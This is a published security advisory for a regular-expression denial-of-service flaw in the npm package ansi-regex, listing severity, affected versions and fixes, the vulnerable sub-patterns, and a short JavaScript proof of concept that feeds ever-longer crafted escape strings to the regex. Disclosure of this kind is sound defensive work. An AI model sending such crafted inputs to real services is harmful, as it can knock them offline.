GHSA-93q8-gq69-wqmw

Suggest an improvement
Source
https://github.com/advisories/GHSA-93q8-gq69-wqmw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-93q8-gq69-wqmw
Aliases
Related
Published
2021-09-20T20:20:09Z
Modified
2023-11-08T04:06:25.310142Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Inefficient Regular Expression Complexity in chalk/ansi-regex
Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Database specific
{
    "nvd_published_at": "2021-09-17T07:15:00Z",
    "cwe_ids": [
        "CWE-1333",
        "CWE-697"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T18:56:22Z"
}
References

Affected packages

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.0.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.0.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.1.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.0.1